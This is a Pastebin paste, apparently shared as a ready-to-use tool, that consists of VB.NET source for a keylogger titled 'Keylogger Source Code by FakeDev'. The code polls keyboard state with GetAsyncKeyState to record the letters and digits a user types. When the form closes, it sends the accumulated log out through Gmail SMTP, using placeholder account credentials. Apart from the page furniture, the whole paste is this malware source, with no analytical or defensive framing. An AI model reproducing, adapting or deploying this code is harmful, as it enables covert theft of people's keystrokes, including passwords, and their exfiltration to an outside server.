Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Keylogger Source Code by FakeDev:
- Imports System.Net.Mail
- Public Class Form1
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
- Public log As String
- Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
- Timer1.Start()
- End Sub
- Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
- If (GetAsyncKeyState(65)) Then
- log = log + "A"
- ElseIf (GetAsyncKeyState(66)) Then
- log = log + "B"
- ElseIf (GetAsyncKeyState(67)) Then
- log = log + "C"
- ElseIf (GetAsyncKeyState(68)) Then
- log = log + "D"
- ElseIf (GetAsyncKeyState(69)) Then
- log = log + "E"
- ElseIf (GetAsyncKeyState(70)) Then
- log = log + "F"
- ElseIf (GetAsyncKeyState(71)) Then
- log = log + "G"
- ElseIf (GetAsyncKeyState(72)) Then
- log = log + "H"
- ElseIf (GetAsyncKeyState(73)) Then
- log = log + "I"
- ElseIf (GetAsyncKeyState(74)) Then
- log = log + "J"
- ElseIf (GetAsyncKeyState(75)) Then
- log = log + "K"
- ElseIf (GetAsyncKeyState(76)) Then
- log = log + "L"
- ElseIf (GetAsyncKeyState(77)) Then
- log = log + "M"
- ElseIf (GetAsyncKeyState(78)) Then
- log = log + "N"
- ElseIf (GetAsyncKeyState(79)) Then
- log = log + "O"
- ElseIf (GetAsyncKeyState(80)) Then
- log = log + "P"
- ElseIf (GetAsyncKeyState(81)) Then
- log = log + "Q"
- ElseIf (GetAsyncKeyState(82)) Then
- log = log + "R"
- ElseIf (GetAsyncKeyState(83)) Then
- log = log + "S"
- ElseIf (GetAsyncKeyState(84)) Then
- log = log + "T"
- ElseIf (GetAsyncKeyState(85)) Then
- log = log + "U"
- ElseIf (GetAsyncKeyState(86)) Then
- log = log + "V"
- ElseIf (GetAsyncKeyState(87)) Then
- log = log + "W"
- ElseIf (GetAsyncKeyState(88)) Then
- log = log + "X"
- ElseIf (GetAsyncKeyState(89)) Then
- log = log + "Y"
- ElseIf (GetAsyncKeyState(90)) Then
- log = log + "Z"
- ElseIf (GetAsyncKeyState(48)) Then
- log = log + "0"
- ElseIf (GetAsyncKeyState(49)) Then
- log = log + "1"
- ElseIf (GetAsyncKeyState(50)) Then
- log = log + "2"
- ElseIf (GetAsyncKeyState(51)) Then
- log = log + "3"
- ElseIf (GetAsyncKeyState(52)) Then
- log = log + "4"
- ElseIf (GetAsyncKeyState(53)) Then
- log = log + "5"
- ElseIf (GetAsyncKeyState(54)) Then
- log = log + "6"
- ElseIf (GetAsyncKeyState(55)) Then
- log = log + "7"
- ElseIf (GetAsyncKeyState(56)) Then
- log = log + "8"
- ElseIf (GetAsyncKeyState(57)) Then
- log = log + "9"
- End If
- End Sub
- Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
- RichTextBox1.Text = log
- End Sub
- Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
- sendmail()
- End Sub
- Private Sub sendmail()
- Dim Mail As New MailMessage
- Mail.Subject = "Keylog"
- Mail.To.Add("youremailadres@gmail.com")
- Mail.From = New MailAddress("youremailadres@gmail.com")
- Mail.Body = log
- Dim SMTP As New SmtpClient("smtp.gmail.com")
- SMTP.EnableSsl = True
- SMTP.Credentials = New System.Net.NetworkCredential("youremailadres@gmail.com", "yourpassword")
- SMTP.Port = "587"
- SMTP.Send(Mail)
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement